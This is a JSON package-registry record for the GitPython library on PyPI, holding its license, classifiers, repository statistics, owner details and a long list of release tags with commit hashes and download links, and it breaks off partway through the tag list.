{"id":2748871,"name":"gitpython","ecosystem":"pypi","description":"GitPython is a Python library used to interact with Git repositories","homepage":"https://github.com/gitpython-developers/GitPython","licenses":"BSD-3-Clause","normalized_licenses":["BSD-3-Clause"],"repository_url":"https://github.com/gitpython-developers/GitPython","keywords_array":[],"namespace":null,"versions_count":103,"first_release_published_at":"2010-03-21T02:56:30.000Z","latest_release_published_at":"2026-05-06T04:01:23.000Z","latest_release_number":"3.1.50","last_synced_at":"2026-05-13T22:12:45.026Z","created_at":"2022-04-10T11:09:03.281Z","updated_at":"2026-05-13T22:12:45.027Z","registry_url":"https://pypi.org/project/gitpython/","install_command":"pip install gitpython --index-url https://pypi.org/simple","documentation_url":"https://gitpython.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Operating System :: MacOS :: MacOS X","Operating System :: Microsoft :: Windows","Operating System :: OS Independent","Operating System :: POSIX","Programming Language :: Python","Programming Language :: Python :: 3","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.7","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Typing :: Typed"],"normalized_name":"gitpython","project_status":null},"repo_metadata":{"id":1211626,"uuid":"1126087","full_name":"gitpython-developers/GitPython","owner":"gitpython-developers","description":"GitPython is a python library used to interact with Git repositories.","archived":false,"fork":false,"pushed_at":"2024-04-12T04:59:19.000Z","size":11618,"stargazers_count":4386,"open_issues_count":156,"forks_count":891,"subscribers_count":104,"default_branch":"main","last_synced_at":"2024-04-14T12:39:00.058Z","etag":null,"topics":["git-plumbing","git-porcelain","python-library"],"latest_commit_sha":null,"homepage":"http://gitpython.readthedocs.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gitpython-developers.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS","dei":null},"funding":{"github":"byron"}},"created_at":"2010-11-30T17:34:03.000Z","updated_at":"2024-04-17T06:37:05.739Z","dependencies_parsed_at":"2023-10-04T22:47:07.349Z","dependency_job_id":"66200c7a-dce0-418a-bb38-a312c1545e5e","html_url":"https://github.com/gitpython-developers/GitPython","commit_stats":{"total_commits":2907,"total_committers":312,"mean_commits":9.317307692307692,"dds":0.6721706226350189,"last_synced_commit":"198548f656997d9011608d9ac41bebc56d831b9b"},"previous_names":[],"tags_count":101,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":217895111,"owners_count":16247338,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"gitpython-developers","name":"gitpython-developers","uuid":"503709","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/503709?v=4","repositories_count":8,"last_synced_at":"2024-03-25T20:01:00.307Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/gitpython-developers","funding_links":[],"total_stars":4638,"followers":20,"following":0,"created_at":"2022-11-02T16:23:03.326Z","updated_at":"2024-03-25T20:01:03.608Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gitpython-developers/repositories"},"tags":[{"name":"3.1.43","sha":"53640535cf8314366a01da081947dd8504a299cd","kind":"tag","published_at":"2024-03-31T08:06:26.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.43","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.43","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.43/manifests"},{"name":"3.1.42","sha":"1f37b482edbe4a7189e5898309a4094f3f4cf404","kind":"tag","published_at":"2024-02-15T20:11:59.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.42","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.42","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.42/manifests"},{"name":"3.1.41","sha":"f28873828496a6632b3a99101e3582ad164e9bb9","kind":"tag","published_at":"2024-01-10T12:13:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.41","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.41","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.41/manifests"},{"name":"3.1.40","sha":"44102f30eaadcd122899f5f801f28b83bd9a5111","kind":"tag","published_at":"2023-10-18T15:27:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.40","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.40","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.40/manifests"},{"name":"3.1.38","sha":"6f765a2028e45a14853bf06801104cc6d22e053e","kind":"tag","published_at":"2023-10-17T06:08:52.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.38","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.38","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.38/manifests"},{"name":"3.1.37","sha":"b27a89f683cda85ebd78243c055e876282df89ee","kind":"tag","published_at":"2023-09-22T07:37:48.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.37","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.37","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.37/manifests"},{"name":"3.1.36","sha":"5343aa01e9d90481e4570797e99faf6a98ba8f6c","kind":"tag","published_at":"2023-09-12T05:55:29.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.36","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.36","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.36/manifests"},{"name":"3.1.35","sha":"c8e303ffd3204195fc7f768f7b17dc5bde3dd53f","kind":"tag","published_at":"2023-09-07T13:35:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.35","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.35","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.35/manifests"},{"name":"3.1.34","sha":"2a2ae776825f249a3bb7efd9b08650486226b027","kind":"tag","published_at":"2023-09-03T14:33:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.34","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.34","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.34/manifests"},{"name":"3.1.33","sha":"993f04588aa362fdce7c7f2f0848b5daedd8cb72","kind":"tag","published_at":"2023-09-01T06:35:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.33","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.33","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.33/manifests"},{"name":"3.1.32","sha":"5d45ce243a12669724e969442e6725a894e30fd4","kind":"tag","published_at":"2023-07-10T17:55:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.32","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.32","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.32/manifests"},{"name":"3.1.31","sha":"f25333525425ee1497366fd300a60127aa652d79","kind":"tag","published_at":"2023-02-16T16:31:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.31","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.31","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.31/manifests"},{"name":"3.1.30","sha":"141cd651e459bff8919798b3ccf03dfa167757f6","kind":"tag","published_at":"2022-12-29T07:14:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.30","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.30/manifests"},{"name":"3.1.29","sha":"19aaa74aafc06663644d634f33bb8af871d58536","kind":"tag","published_at":"2022-10-10T23:49:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.29","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.29","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.29/manifests"},{"name":"3.1.28","sha":"b6d9264de3536779f2ba35d696e578fe2fb6dfd6","kind":"tag","published_at":"2022-10-07T01:51:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.28","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.28","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.28/manifests"},{"name":"3.1.27","sha":"d438e088278f2df10b3c38bd635d7207cb7548a6","kind":"tag","published_at":"2022-02-20T01:14:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.27","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.27","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.27/manifests"},{"name":"3.1.26","sha":"851beabc93319d8dd05bff211b13d2b35ef097e0","kind":"tag","published_at":"2022-01-10T13:11:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.26","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.26","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.26/manifests"},{"name":"3.1.25","sha":"b94cc253fe9e6355881eb299cfae8eea1a57a9c2","kind":"tag","published_at":"2022-01-07T02:09:01.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.25","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.25","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.25/manifests"},{"name":"3.1.24","sha":"2d15c5a601e698e8f7859e821950cad0701b756d","kind":"tag","published_at":"2021-09-18T01:32:05.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.24","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.24","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.24/manifests"},{"name":"3.1.23","sha":"03f198f66cceca745a67658b7d16bf4b7e40b9ab","kind":"tag","published_at":"2021-09-10T02:14:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.23","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.23","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.23/manifests"},{"name":"3.1.22","sha":"856c0825abd856f01b21a2614f89df20f8f81443","kind":"tag","published_at":"2021-09-10T02:12:22.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.22","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.22/manifests"},{"name":"3.1.20","sha":"8530a8b895d47d234ccaffeca0b866d75fa528b0","kind":"tag","published_at":"2021-07-28T01:55:12.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.20","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.20/manifests"},{"name":"3.1.19","sha":"5b20664aba8e8a2fcae2f7f759122f3c48cec18d","kind":"tag","published_at":"2021-07-23T00:04:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.19","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.19/manifests"},{"name":"3.1.18","sha":"bef6d375fd21e3047ed94b79a26183050c1cc4cb","kind":"tag","published_at":"2021-06-18T03:31:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.18","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.18/manifests"},{"name":"3.1.16","sha":"e76b5379cf55fcd31a2e8696fb97adf8c4df1a8d","kind":"tag","published_at":"2021-05-15T01:30:13.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.16","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.16/manifests"},{"name":"3.1.17","sha":"33346b25c3a4fb5ea37202d88d6a6c66379099c5","kind":"tag","published_at":"2021-05-15T01:29:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.17","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.17/manifests"},{"name":"3.1.15","sha":"46b204d1b2eb6de6eaa31deacf4dd0a9095ca3fa","kind":"tag","published_at":"2021-04-21T05:38:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.15","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.15/manifests"},{"name":"3.1.14","sha":"e62078d023ba436d84458d6e9d7a56f657b613ef","kind":"tag","published_at":"2021-02-28T04:55:33.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.14","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.14/manifests"},{"name":"3.1.13","sha":"7988bb8ce25eb171d7fea88e3e6496504d0cb8f8","kind":"tag","published_at":"2021-02-09T14:48:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.13","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.13/manifests"},{"name":"3.1.9","sha":"7cd47aeea822c484342e3f0632ae5cf8d332797d","kind":"tag","published_at":"2021-01-21T05:17:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.9/manifests"},{"name":"3.1.12","sha":"3dd71d3edbf3930cce953736e026ac3c90dd2e59","kind":"tag","published_at":"2021-01-06T06:30:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.12","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.12/manifests"},{"name":"3.1.11","sha":"9541d6bffe4e4275351d69fec2baf6327e1ff053","kind":"tag","published_at":"2020-10-23T11:38:21.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.11","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.11/manifests"},{"name":"3.1.10","sha":"e30a597b028290c7f703e68c4698499b3362a38f","kind":"tag","published_at":"2020-10-23T08:57:45.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.10","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.10/manifests"},{"name":"3.1.8","sha":"e7b5e92791dd4db3535b527079f985f91d1a5100","kind":"tag","published_at":"2020-09-04T01:55:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.8/manifests"},{"name":"3.1.7","sha":"176838a364fa36613cd57488c352f56352be3139","kind":"tag","published_at":"2020-07-16T23:32:37.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.7/manifests"},{"name":"3.1.6","sha":"a175068f3366bb12dba8231f2a017ca2f24024a8","kind":"tag","published_at":"2020-07-13T02:11:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.6/manifests"},{"name":"3.1.5","sha":"9cb7ae8d9721e1269f5bacd6dbc33ecdec4659c0","kind":"tag","published_at":"2020-07-12T10:06:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.5/manifests"},{"name":"3.1.4","sha":"fe65adc904f3e3ebf74e983e91b4346d5bacc468","kind":"tag","published_at":"2020-07-12T09:18:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.4/manifests"},{"name":"3.1.3","sha":"24cd6dafc0008f155271f9462ae6ba6f0c0127a4","kind":"tag","published_at":"2020-05-31T03:21:59.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.3/manifests"},{"name":"3.1.2","sha":"f14903a0d4bb3737c88386a5ad8a87479ddd8448","kind":"tag","published_at":"2020-05-05T06:13:39.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.2/manifests"},{"name":"3.1.1","sha":"b860d1873a25e6577a8952d625ca063f1cf66a84","kind":"tag","published_at":"2020-04-11T07:43:10.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"8c9da7310eb6adf67fa8d35821ba500dffd9a2a7","kind":"commit","published_at":"2020-02-24T11:43:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%